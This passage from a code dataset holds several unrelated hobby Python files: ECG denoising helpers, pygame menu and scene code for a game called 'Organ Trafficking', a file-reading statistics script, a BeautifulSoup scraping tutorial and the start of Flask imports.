Array):\n Contiguous clean segments in the input ECG untouched by NST\n\n \"\"\"\n # How many usable 2-minute interval chunks are usable (rounded down) (Basically available sample points starting from the 5th-minute mark)\n # ISSUE: THE '300' USED IN HERE REFLECTS WHEN SAMPLING FREQUENCY IS 360 (THUS 1 SECOND) BUT DOES NOT PROPERLY REFLECT IF \n # SAMPLING FREQUENCY IS 1024 WHERE 300 DOES NOT ANYMORE REFLECT THE 5TH MINUTE AS 1024 IS IS AROUND 2.88 SECONDS\n usable_chunks = int(((ecg_data.shape[0] - 300) / 120))\n # chunk size for the noised and clean segments\n segment_size = int( (usable_chunks/2) * 120 )\n # According to MIT-BIH, two minute intervals of noised and clean data will be generated by the NST script. This function assigns a \n # contiguous version of those intervals in the variables below that will be returned\n noised_seg = np.zeros( shape=(segment_size, ecg_data.shape[1]) )\n clean_seg = np.zeros( shape=(segment_size, ecg_data.shape[1]) )\n # counters\n ecg_chunk_start = 60 * start_minute\n noised_chunk_start = 0\n clean_chunk_start = 0\n \n for i in range(usable_chunks):\n if i % 2 == 0:\n noised_seg[ noised_chunk_start:(noised_chunk_start+120) ] = ecg_data[ ecg_chunk_start:ecg_chunk_start+120 ]\n noised_chunk_start = noised_chunk_start+120\n else:\n clean_seg[ clean_chunk_start:(clean_chunk_start+120) ] = ecg_data[ ecg_chunk_start:ecg_chunk_start+120 ]\n clean_chunk_start = clean_chunk_start+120\n ecg_chunk_start = ecg_chunk_start+120\n\n noised_seg = noised_seg.reshape( (noised_seg.shape[0], noised_seg.shape[1], 1) )\n clean_seg = clean_seg.reshape( (clean_seg.shape[0], clean_seg.shape[1], 1) )\n\n return noised_seg, clean_seg\n\n\n\n\ndef realign_starting(ecg_result, ecg_clean):\n ecg_result = ecg_result\n ecg_clean_start = ecg_clean[0]\n diff = ecg_clean[0] - ecg_result[0]\n print( f'Diff: {diff}' )\n print( f'{ecg_clean_start} - {ecg_clean[0]}' )\n ecg_result = ecg_result + diff\n print( f'{ecg_clean_start} - {ecg_clean[0]}' )\n return ecg_result\n\n\ndef realign_all_chunks( ecg_result, ecg_clean ):\n for i, sig in enumerate( ecg_result ):\n diff = ecg_clean[i][0][0] - ecg_result[i][0][0]\n ecg_result[i][0] = ecg_result[i][0] + diff\n return ecg_result\n \n\n\ndef concat_pt_full(model, ecg_noisy):\n \"\"\"\n Encoder result is too large to be handled thus requires splitting the result.\n\n Returns:\n pt_full: Numpy array of the result\n \"\"\"\n # Create filename to be used later\n full_file_name = 'res_pt_full_' + get_local_time()\n # Can only handle up to 4000 of the entire data set (then restart)\n # Firt Part\n result = model.encoder( ecg_noisy[0:2000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt1', result) # ranges from 0:4000\n\n # Second Part\n result = model.encoder( ecg_noisy[2000:4000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt2', result) # ranges from 4001:5544\n \n # Third Part\n result = model.encoder( ecg_noisy[4000:6000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt3', result) # ranges from 4001:5544\n \n result = model.encoder( ecg_noisy[6000:8000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt4', result) \n\n result = model.encoder( ecg_noisy[8000:10000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt5', result) \n\n result = model.encoder( ecg_noisy[10000:12000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt6', result)\n\n result = model.encoder( ecg_noisy[12000:14000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt7', result)\n\n result = model.encoder( ecg_noisy[14000:16000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt8', result)\n\n result = model.encoder( ecg_noisy[16000:18000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt9', result)\n\n result = model.encoder( ecg_noisy[18000:20000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt10', result)\n\n result = model.encoder( ecg_noisy[20000:22000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt11', result)\n \n result = model.encoder( ecg_noisy[20000:22000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt12', result)\n\n result = model.encoder( ecg_noisy[22000:24000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt13', result)\n\n result = model.encoder( ecg_noisy[24000:26000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt14', result)\n\n result = model.encoder( ecg_noisy[26000:27720] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt15', result)\n\n # result = model.encoder( ecg_noisy[28000:30000] )\n # result = model.decoder( result )\n # result = result.detach().cpu().numpy()\n # print( f'Result size: {result.shape}')\n # np.save('res_pt16', result)\n\n # result = model.encoder( ecg_noisy[30000:32000] )\n # result = model.decoder( result )\n # result = result.detach().cpu().numpy()\n # print( f'Result size: {result.shape}')\n # np.save('res_pt17', result)\n\n # result = model.encoder( ecg_noisy[32000:33264] )\n # result = model.decoder( result )\n # result = result.detach().cpu().numpy()\n # print( f'Result size: {result.shape}')\n # np.save('res_pt18', result)\n\n # Load files\n pt1 = np.load('res_pt1.npy')\n pt2 = np.load('res_pt2.npy')\n pt3 = np.load('res_pt3.npy')\n pt4 = np.load('res_pt4.npy')\n pt5 = np.load('res_pt5.npy')\n pt6 = np.load('res_pt6.npy')\n pt7 = np.load('res_pt7.npy')\n pt8 = np.load('res_pt8.npy')\n pt9 = np.load('res_pt9.npy')\n pt10 = np.load('res_pt10.npy')\n pt11 = np.load('res_pt11.npy')\n pt12 = np.load('res_pt12.npy')\n pt13 = np.load('res_pt13.npy')\n pt14 = np.load('res_pt14.npy')\n pt15 = np.load('res_pt15.npy')\n # pt16 = np.load('res_pt16.npy')\n # pt17 = np.load('res_pt17.npy')\n # pt18 = np.load('res_pt18.npy') \n\n pt_full = np.concatenate( (pt1, pt2, pt3, pt4, pt5, pt6, pt7, pt8, pt9, pt10, pt11, pt12, pt13, pt14, pt15) )#, pt16, pt17, pt18) )\n print(f'Complete shape is: {pt_full.shape}')\n\n np.save(full_file_name, pt_full)\n print( f'Filename: {full_file_name}' )\n return pt_full\n\ndef concat_pt_full_dae(model, ecg_noisy):\n \"\"\"\n Encoder result is too large to be handled thus requires splitting the result.\n\n Returns:\n pt_full: Numpy array of the result\n \"\"\"\n # Create filename to be used later\n full_file_name = 'res_pt_full_' + get_local_time()\n # Can only handle up to 4000 of the entire data set (then restart)\n # Firt Part\n result = model.encoder( ecg_noisy[0:2000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt1', result) # ranges from 0:4000\n\n # Second Part\n result = model.encoder( ecg_noisy[2000:4000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt2', result) # ranges from 4001:5544\n \n # Third Part\n result = model.encoder( ecg_noisy[4000:5000] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt3', result) # ranges from 4001:5544\n \n result = model.encoder( ecg_noisy[5000:5544] )\n result = model.decoder( result )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt4', result) \n\n # Load files\n pt1 = np.load('res_pt1.npy')\n pt2 = np.load('res_pt2.npy')\n pt3 = np.load('res_pt3.npy')\n pt4 = np.load('res_pt4.npy')\n\n pt_full = np.concatenate( (pt1, pt2, pt3, pt4) )\n print(f'Complete shape is: {pt_full.shape}')\n\n np.save(full_file_name, pt_full)\n print( f'Filename: {full_file_name}' )\n return pt_full\n\ndef concat_pt_full_cnn(model, ecg_noisy, file_name):\n \"\"\"\n Encoder result is too large to be handled thus requires splitting the result.\n\n Returns:\n pt_full: Numpy array of the result\n \"\"\"\n # Create filename to be used later\n if len(file_name) < 2 or file_name is None:\n full_file_name = 'res_pt_full_' + get_local_time()\n else:\n full_file_name = file_name\n # Can only handle up to 4000 of the entire data set (then restart)\n # Firt Part\n result = model.denoiser( ecg_noisy[0:1000] )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt1', result) # ranges from 0:4000\n\n # Second Part\n result = model.denoiser( ecg_noisy[1000:2000] )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt2', result) # ranges from 4001:5544\n \n # Third Part\n result = model.denoiser( ecg_noisy[2000:3000] )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt3', result) \n \n # Third Part\n result = model.denoiser( ecg_noisy[3000:4000] )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt4', result) \n \n # Third Part\n result = model.denoiser( ecg_noisy[4000:5000] )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt5', result)\n \n # Third Part\n result = model.denoiser( ecg_noisy[5000:5544] )\n result = result.detach().cpu().numpy()\n print( f'Result size: {result.shape}')\n np.save('res_pt6', result)\n \n # Load files\n pt1 = np.load('res_pt1.npy')\n pt2 = np.load('res_pt2.npy')\n pt3 = np.load('res_pt3.npy')\n pt4 = np.load('res_pt4.npy')\n pt5 = np.load('res_pt5.npy')\n pt6 = np.load('res_pt6.npy')\n\n pt_full = np.concatenate( (pt1, pt2, pt3, pt4, pt5, pt6) )\n print(f'Complete shape is: {pt_full.shape}')\n\n np.save(full_file_name, pt_full)\n print( f'Filename: {full_file_name}' )\n return pt_full\n\n\n\n\ndef ecg_plot_flat(ecg_clean, ecg_noisy, ecg_test, length=1024, index=0):\n \"\"\"\n Deprecated, use ecg_plot(...) instead.\n \"\"\"\n ind_start = index * length\n ind_end = ind_start + length\n\n plt.figure( figsize=(20,5) )\n plt.plot( ecg_noisy[ind_start:ind_end], c='red', label='/original data' )\n plt.plot( ecg_clean[ind_start:ind_end], c='green', label='original data' )\n plt.plot( ecg_test[ind_start:ind_end], c='blue', label='Test Data' )\n plt.title(label='Sample')\n plt.legend()\n\n\n# ==== PLOTTING ====\ndef ecg_plot(ecg_sigs, labels, x_label='Sample Point', y_label='Amplitude', length=1024, index=0, title=\"ECG Signal\", ):\n \"\"\"\n Used to plot ECG signals (more than one) alongside their appropriate labels.\n Does not return anything but printout a MATPLOTLIB.PLOT for visualization.\n\n Returns:\n\n None: Runs a visualization of input data only (for use with Jupyter Notebook or an image will run outside showing the\n visualization).\n\n Parameters:\n\n ecg_sigs (numpy array): \n Array of np arrays -> E.g. ecg_plot( [signal_1, signal_2], ...)\n \n labels (String array): \n An array of strings. E.g. ecg_plot( [signal_1, signal_2], ['Label for Signal_1', 'Label for Signal_2'])\n \n x_label (String):\n Label for the x-axis (usually time based such as Sample Points of the ECG signal). Default=\"Sample Points (0 to 1024)\"\n\n y_label (String):\n Label for the y-axis of the graph (usually Amplitude). Default=\"Amplitude\"\n\n length (int):\n Length of the sample points. Default=1024\n\n index (int):\n Index of the ECG signal fragment (which is divided for every value stated in the length e.g. 1024).\n\n title (String):\n Title of the Plot. Default=\"ECG Signal\"\n \"\"\"\n\n ind_start = index * length\n ind_end = ind_start + length\n\n plt.figure(figsize=(20,8))\n\n if len(ecg_sigs) != len(labels):\n print(\"Signal count and label count are not equal\")\n labels = np.arange(len(ecg_sigs))\n \n plt.figure( figsize=(20,5) )\n # print all inside the array\n for i, ecg_sig in enumerate(ecg_sigs): \n plt.plot( ecg_sig[ind_start:ind_end], label=labels[i] )\n \n plt.title(label=title)\n plt.legend()\n plt.xlabel(x_label)\n plt.ylabel(y_label)\n\n\n\n\ndef train_model( model, epochs, ecg_noisy, ecg_clean, train_pct=0.8):\n # Train a new model\n # move model to be run by gpu\n train_model = model().cuda()\n train_model.double()\n\n # start training the model\n losses = tr.train_model( model=train_model,\n epochs=epochs, \n ecg_noisy=ecg_noisy, \n ecg_clean=ecg_clean,\n train_pct=train_pct)\n \n save_file_name = 'model_' + str(get_local_time()) + '.pt';\n \n # saved model will have model_YYYY-MM-DD_hhmm.pt format\n torch.save(train_model.state_dict(), save_file_name)\n print(f'Saved {save_file_name}')\n\n return train_model\n\ndef load_model(model_name, model):\n print( f\"Loading model {model_name}. (make sure name ends in .pt)\")\n \n loaded_model = model().cuda()\n loaded_model.double()\n loaded_model.load_state_dict(torch.load(model_name))\n loaded_model.to('cuda')\n loaded_model.eval() \n print( f'Model {model_name} has been loaded')\n \n return loaded_model\n\ndef get_eval_results( ecg_clean, ecg_noisy, ecg_res):\n pass","repo_name":"enzlaur/pytorch-ml-tuts","sub_path":"ecg_tools_lite.py","file_name":"ecg_tools_lite.py","file_ext":"py","file_size_in_byte":19231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18552028031","text":"\"\"\"\nFile with all menu and screens classes\n\"\"\"\nimport os\nimport pygame\n\n\nclass Button:\n \"\"\"\n Custom button class for pygame controls.\n \"\"\"\n def __init__(self, x_loc, y_loc, path):\n self.image = pygame.image.load(os.path.join('images', 'menu', path)).convert_alpha()\n self.rect = self.image.get_rect()\n self.rect.x = x_loc\n self.rect.y = y_loc\n self.clicked = False\n self.respond = False\n\n def show(self, pos):\n \"\"\"\n Show button and check if mouse click on button.\n :param pos: mouse position on the screen\n \"\"\"\n self.respond = False\n self.clicked = False\n if self.rect.collidepoint(pos):\n if pygame.mouse.get_pressed()[0] == 1 and not self.clicked:\n self.respond = True\n self.clicked = True\n return self.respond\n\n\nclass Menu:\n \"\"\"\n Main game menu class\n \"\"\"\n def __init__(self, world):\n self.world = world\n self.background = pygame.image.load(os.path.join('images', 'menu', 'menu_background_small.png'))\n self.bg_rect = self.background.get_rect()\n self.bg_x = self.bg_rect.width\n self.bg_y = self.bg_rect.height\n self.start_btn = Button(128, self.bg_y - 128, 'start.png')\n self.exit_btn = Button(self.bg_x - 128 * 2, self.bg_y - 128, 'exit.png')\n\n def show_controllers(self):\n \"\"\"\n Show all buttons and others controls for main menu screen.\n \"\"\"\n self.world.blit(self.start_btn.image, self.start_btn.rect)\n self.world.blit(self.exit_btn.image, self.exit_btn.rect)\n\n\nclass GameOverScreen:\n \"\"\"\n Game over screen class\n \"\"\"\n def __init__(self, world):\n self.world = world\n self.background = pygame.image.load(os.path.join('images', 'menu', 'game_over_background.png'))\n self.bg_rect = self.background.get_rect()\n self.bg_x = self.bg_rect.width\n self.bg_y = self.bg_rect.height\n self.back_btn = Button(256, self.bg_y - 384, 'back.png')\n\n def show_controllers(self):\n \"\"\"\n Show all buttons and others controls for game over screen.\n \"\"\"\n self.world.blit(self.back_btn.image, self.back_btn.rect)\n\n def control_action(self, event):\n if event.type == pygame.MOUSEBUTTONDOWN:\n mouse_pos = pygame.mouse.get_pos()\n if self.back_btn.show(mouse_pos):\n return False\n return True\n\n\nclass WinScreen:\n \"\"\"\n Win screen class\n \"\"\"\n def __init__(self, world):\n self.world = world\n self.background = pygame.image.load(os.path.join('images', 'menu', 'win_background.png'))\n self.bg_rect = self.background.get_rect()\n self.bg_x = self.bg_rect.width\n self.bg_y = self.bg_rect.height\n self.back_btn = Button(128, self.bg_y - 128, 'back.png')\n self.next_btn = Button(self.bg_x - 256, self.bg_y - 128, 'next.png')\n\n def show_controllers(self):\n \"\"\"\n Show all buttons and others controls for level win screen.\n \"\"\"\n self.world.blit(self.back_btn.image, self.back_btn.rect)\n self.world.blit(self.next_btn.image, self.next_btn.rect)\n\n def control_action(self, event):\n if event.type == pygame.MOUSEBUTTONDOWN:\n mouse_pos = pygame.mouse.get_pos()\n if self.back_btn.show(mouse_pos):\n return False\n if self.next_btn.show(mouse_pos):\n return \"next\"\n return True\n","repo_name":"Kovali0/Platform-game-in-python","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":3500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3845319209","text":"import statistics\nfrom unicodedata import name\n\n# Creating an empty list\nnumbers = []\n\n# Accesing to the file ./data_set1 and using the reading opening mode\ndef main():\n with open(\"./file_to_operate/data_set1\", \"r\") as x:\n for line in x:\n #Bringing the data from the file to the empty list\n numbers.append(int(line))\n #Using the added data to the list, and calculating the mean of the data\n print(statistics.mean(numbers))\n\n#Accesing to the file ./name_set1 and overwriting it\ndef overwriting():\n #list to be added\n countries = [\"France\", \"Southafrica\", \"Urugay\", \"Turkey\", \"New Zealand\"]\n with open(\"./file_to_operate/name_set1\", \"w\") as y:\n #Creating the cicle in order to add each country\n for countries in countries:\n #Adding each country\n y.write(countries)\n y.write(\"\\n\")\n\noverwriting()\n\nif __name__ == \"__main__\":\n main()","repo_name":"DavGarza/Learning-data-science","sub_path":"python_projects/intermidiate_python/managing_files.py","file_name":"managing_files.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6439950714","text":"import pygame, json, os, sys, time\r\n\r\nsys.path.insert(0, os.getcwd())\r\n\r\nfrom scripts.saving import *\r\n\r\npygame.init()\r\n\r\n\r\nWIDTH = 800\r\nHEIGHT = 500\r\n\r\nwin = pygame.display.set_mode((WIDTH,HEIGHT))\r\npygame.display.set_caption('Organ Trafficking')\r\n\r\nclock = pygame.time.Clock()\r\n\r\npatient_room = pygame.image.load('assets\\\\hospital\\\\patient room.jpg').convert()\r\nkideny = pygame.image.load('assets\\\\organs\\\\kideny.png').convert_alpha()\r\n\r\nkideny = pygame.transform.scale(kideny, (30, 40))\r\n\r\nkideny_on_floor = pygame.image.load('assets\\\\organs\\\\kideny_on_floor.png').convert_alpha()\r\nkideny_on_floor = pygame.transform.scale(kideny_on_floor, (80, 60))\r\n\r\nsparkle_frame = 0\r\nsparkle_time = 0\r\n\r\ndef set_sparkle(frame):\r\n global sparkle\r\n sparkle = pygame.image.load(f'assets\\\\animations\\\\sparkle\\\\sparkle_{str(frame)}.png').convert_alpha()\r\n # sparkle = pygame.transform.scale(sparkle, (140, 160))\r\n\r\nset_sparkle(sparkle_frame)\r\n\r\n\r\nposter_frame = 0\r\nposter_time = 0\r\n\r\ndef set_poster(frame):\r\n global poster\r\n poster = pygame.image.load(f'assets\\\\animations\\\\poster\\\\poster_{str(frame)}.png').convert_alpha()\r\n poster = pygame.transform.scale(poster, (140, 160))\r\n\r\nset_poster(poster_frame)\r\n\r\ngolf_bubble_frame = 0\r\ngolf_bubble_time = 0\r\n\r\ndef set_golf_bubble(frame):\r\n global golf_bubble\r\n golf_bubble = pygame.image.load(f'assets\\\\animations\\\\golf bubble\\\\golf_bubble_{str(frame)}.png').convert_alpha()\r\n golf_bubble = pygame.transform.scale(golf_bubble, (185, 120))\r\n\r\nset_golf_bubble(golf_bubble_frame)\r\n\r\npatient_frame = 0\r\npatient_time = 0\r\n\r\ndef set_patient(frame):\r\n global patient\r\n patient = pygame.image.load(f'assets\\\\people\\\\patient\\\\patient_{str(frame)}.png').convert()\r\n patient = pygame.transform.scale(patient, (140, 110))\r\n patient.set_colorkey((255, 255, 255))\r\n\r\nset_patient(patient_frame)\r\n\r\norgan_bubble_frame = 0\r\norgan_bubble_time = 0\r\n\r\ndef set_organ_bubble(frame):\r\n global organ_bubble\r\n organ_bubble = pygame.image.load(f'assets\\\\animations\\\\bubble organ\\\\bubble_{str(frame)}.png').convert_alpha()\r\n organ_bubble = pygame.transform.scale(organ_bubble, (110, 90))\r\n\r\nset_organ_bubble(organ_bubble_frame)\r\n\r\nfade_screen = pygame.Surface((WIDTH,HEIGHT))\r\nfade_screen.fill((0,0,0))\r\n\r\nfade_alpha = 255\r\n\r\npatient_room = pygame.transform.scale(patient_room, (WIDTH, HEIGHT))\r\n\r\nHighVoltage_Rough_Font = pygame.font.Font('fonts/HighVoltage Rough.ttf', 32)\r\nesc_text_render = HighVoltage_Rough_Font.render('Press ESC to leave patients room', True, (0, 0, 0))\r\n\r\nsfx_mixer = pygame.mixer.Channel(4)\r\nsparkle_mixer = pygame.mixer.Channel(5)\r\norgan_mixer = pygame.mixer.Channel(6)\r\n\r\ndim_angry_chattering = pygame.mixer.Sound('sounds/angry_chattering.mp3')\r\nsparkle_sfx = pygame.mixer.Sound('sounds/sparkle.mp3')\r\nno_organ = pygame.mixer.Sound('sounds/no_organ.mp3')\r\ntv = pygame.mixer.music.load('sounds/tv.mp3')\r\n\r\nsfx_mixer.set_volume(0.7)\r\norgan_mixer.set_volume(0.7)\r\n\r\npygame.mixer.music.set_volume(0.1)\r\n\r\nposter_rect = pygame.Rect(130, 180, 60, 70)\r\npatient_rect = patient.get_rect(topleft= (350, 250))\r\n\r\nprev_time = time.time()\r\nfade_screen.set_alpha(fade_alpha)\r\n\r\nstart_fade = False\r\nshow_sparkles = False\r\nchange_to_game = False\r\nchange_to_present = False\r\n\r\nhover_over_patient = False\r\n\r\nwhile True:\r\n dt = time.time() - prev_time\r\n prev_time = time.time()\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n save(tv_start_time_=int(pygame.mixer.music.get_pos() // 1000))\r\n pygame.quit()\r\n quit()\r\n \r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_ESCAPE:\r\n if not fade_alpha >= 1:\r\n start_fade = True\r\n\r\n elif poster_rect.collidepoint(pygame.mouse.get_pos()):\r\n show_sparkles = True\r\n \r\n if event.type == pygame.MOUSEBUTTONUP:\r\n start_fade = True\r\n change_to_game = True\r\n else:\r\n show_sparkles = False\r\n if patient_rect.collidepoint(pygame.mouse.get_pos()):\r\n hover_over_patient = True\r\n\r\n if event.type == pygame.MOUSEBUTTONUP:\r\n\r\n if stomach_gave == False and \"stomach\" in organs_bought:\r\n stomach_gave = True\r\n save(stomach_gave_=True)\r\n change_to_present = True\r\n start_fade = True\r\n else:\r\n if stomach_gave == False:\r\n organ_mixer.play(no_organ)\r\n else:\r\n hover_over_patient = False\r\n \r\n if fade_alpha != 0:\r\n fade_screen.set_alpha(fade_alpha)\r\n\r\n if stomach_gave == False:\r\n if not sfx_mixer.get_busy():\r\n sfx_mixer.play(dim_angry_chattering)\r\n\r\n patient_time += 1 * dt\r\n\r\n if patient_time >= 0.5:\r\n if patient_frame <= 2:\r\n patient_time = 0\r\n \r\n patient_frame += 1\r\n\r\n set_patient(patient_frame)\r\n else:\r\n patient_frame = -1\r\n\r\n if floor_kideny == True:\r\n if not 'liver' in organs_bought:\r\n golf_bubble_time += 1 * dt\r\n\r\n if golf_bubble_time >= 0.5:\r\n if golf_bubble_frame <= 0:\r\n golf_bubble_time = 0\r\n \r\n golf_bubble_frame += 1\r\n\r\n set_golf_bubble(golf_bubble_frame)\r\n else:\r\n golf_bubble_frame = -1\r\n \r\n if stomach_gave == False:\r\n organ_bubble_time += 1 * dt\r\n\r\n if organ_bubble_time >= 0.5:\r\n if organ_bubble_frame <= 0:\r\n organ_bubble_time = 0\r\n \r\n organ_bubble_frame += 1\r\n\r\n set_organ_bubble(organ_bubble_frame)\r\n else:\r\n organ_bubble_frame = -1\r\n\r\n poster_time += 1 * dt\r\n\r\n if poster_time >= 0.2:\r\n if poster_frame <= 0:\r\n poster_time = 0\r\n \r\n poster_frame += 1\r\n\r\n set_poster(poster_frame)\r\n else:\r\n poster_frame = -1\r\n\r\n if show_sparkles:\r\n sparkle_time += 1 * dt\r\n\r\n if not sparkle_mixer.get_busy():\r\n sparkle_mixer.play(sparkle_sfx)\r\n\r\n if sparkle_time >= 0.1:\r\n if sparkle_frame <= 5:\r\n sparkle_time = 0\r\n \r\n sparkle_frame += 1\r\n\r\n set_sparkle(sparkle_frame)\r\n else:\r\n sparkle_frame = -1\r\n\r\n if not pygame.mixer.music.get_busy():\r\n if floor_kideny == True:\r\n if not 'liver' in organs_bought:\r\n pygame.mixer.music.play(start=tv_stat_time)\r\n \r\n win.fill((255,255,255))\r\n \r\n win.blit(patient_room, (0, 0))\r\n win.blit(patient, (350, 250))\r\n\r\n if floor_kideny == True:\r\n win.blit(kideny_on_floor, (369, 380))\r\n if not 'liver' in organs_bought:\r\n win.blit(golf_bubble, (20, 230))\r\n\r\n win.blit(poster, (90, 140))\r\n\r\n # pygame.draw.rect(win, (230, 50, 50), patient_rect)\r\n\r\n if show_sparkles:\r\n win.blit(sparkle, (160, 150))\r\n\r\n # pygame.draw.rect(win, (250, 20, 20), poster_rect)\r\n\r\n if hover_over_patient:\r\n if stomach_gave == False:\r\n win.blit(organ_bubble, (340, 170))\r\n win.blit(kideny, (380, 190))\r\n\r\n if fade_alpha >= 1 and start_fade == False:\r\n fade_alpha -= 300 * dt\r\n\r\n if start_fade == True:\r\n if fade_alpha <= 255:\r\n fade_alpha += 300 * dt\r\n else:\r\n if change_to_present == True:\r\n save(tv_start_time_=int(pygame.mixer.music.get_pos() // 1000))\r\n pygame.quit()\r\n os.system('python scripts\\states\\present.py')\r\n elif change_to_game == True:\r\n save(tv_start_time_=int(pygame.mixer.music.get_pos() // 1000))\r\n pygame.quit()\r\n os.system('python scripts\\states\\skely.py')\r\n else:\r\n save(tv_start_time_=int(pygame.mixer.music.get_pos() // 1000))\r\n pygame.quit()\r\n os.system('python scripts\\states\\hallway.py') # fixxx latr\r\n\r\n win.blit(esc_text_render, (220, 20))\r\n\r\n title ='Organ Trafficking FPS: ' + str(int(clock.get_fps()))\r\n\r\n pygame.display.set_caption(title)\r\n \r\n win.blit(fade_screen, (0, 0))\r\n clock.tick(144)\r\n\r\n pygame.display.update()\r\n pygame.display.flip()\r\n","repo_name":"ToasterPNG/Organ-Trafficking","sub_path":"scripts/states/patient_room.py","file_name":"patient_room.py","file_ext":"py","file_size_in_byte":8488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19542284359","text":"#################################### Web scrapping basic commands #########################################\r\n\r\n# Requiremnts:\r\n #1. pip install requests :- This will give us the content from the internet \r\n #2 pip install html5lip :\r\n #3. pip install bs4 :\r\n\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport html5lib\r\n\r\n\r\n\r\n## Making a GET request \r\nurl =\"https://www.geeksforgeeks.org/python-programming-language/\"\r\nurl = \"https://www.codewithharry.com\"\r\n\r\nr = requests.get(url)\r\nhtml_content = r.content\r\n# print( html_content)\r\n## Parsing the HTML\r\nsoup = BeautifulSoup(html_content,'html.parser')\r\n# print(soup.prettify)\r\n\r\n# Get all the titles of the html page \r\ntitle =soup.title\r\n\r\n\r\n### commonly used types of objects \r\n# 1.Tag\r\n# 2.Navigable Tag\r\n# 3.BeautifulSoup\r\n# 4. comment \r\n\r\n# print(type(soup)) #output \r\n# print(type(title)) #output \r\n# print(type(title.string)) #output \r\n\r\n\r\n# Get all the paragraphs of the html page \r\nparagraph = soup.find_all(\"p\")\r\n# print(paragraph)\r\n\r\n\r\n# Get all the anchor of the html page \r\nAnchor_tags = soup.find_all(\"a\")\r\n ## getting all the links in clickable form \r\nlink_set=set()\r\nfor link in Anchor_tags:\r\n if (link.get(\"href\") != \"#\"):\r\n clickable_link =\"https://www.your_base_url.com\" + link.get(\"href\")\r\n link_set.add(clickable_link)\r\n# print(link_set,\"my links \")\r\n# print(\"clickable\",clickable_link)\r\n\r\n\r\n\r\n# print(Anchor_tags)\r\n\r\n\r\n\r\n# Get Classes or Id of any any element \r\n ## note* If any of the class or id is not present it will throw key error.\r\n# class_of_paragraphs = soup.find(\"body\")[\"header-sidebar__list-item\"]\r\n# print(class_of_paragraphs)\r\n\r\n# id_of_paragraphs = soup.find(\"p\")[\"id\"] #### so if we want to print any specific class of id data we just have to pass in the written format .\r\n\r\n\r\n\r\n#print(soup.find('p').get_text()) #get text without any html tags \r\n#print(soup.get_text()) # writing this will give us text without tag for the whole html page.\r\n\r\n\r\n\r\n# differnce between .contents and .children\r\n# navbarSupportedContent =soup.find(id=\"navbarSupportedContent\")\r\n# for elem in navbarSupportedContent.contents:\r\n# print(elem,\"elements\")\r\n\r\n ## .contents = Returns a list which need some memory \r\n ## .children = Return a generator , no memory usage \r\n\r\n\r\n\r\n# If you want to get the parent of any tag you just have to use \r\n\r\n## .parent for just above parent \r\n## .parents all the parents\r\n\r\n\r\n\r\n# If you want to get siblings easy word previous line tag we will use .previoussiblings and for next line we will use .nextsibling\r\n## note ** Previous and next siblings also read br tags and spaces so for getting the previous working tag You have\r\n# to use .previous / .next siblings multiple times as per requiremnts\r\n\r\n\r\n#print(soup.select(\"#loginModal\")) # by using css class\r\n#print(soup.select(\".loginModal\")) # by using css id\r\n\r\n","repo_name":"krsatyam99/Scrapping_basics","sub_path":"scarppers.py","file_name":"scarppers.py","file_ext":"py","file_size_in_byte":2954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9696375869","text":"# Import flask dependencies\nfrom flask import Blueprint, request, render_template, \\\n flash, g, session as login_session, redirect, url_for, jsonify\n\nfrom sqlalchemy import create_engine, asc\nfrom sqlalchemy.orm import sessionmaker\n\n# Import password / encryption helper tools\nfrom werkzeug import check_password_hash, generate_password_hash\n\n# 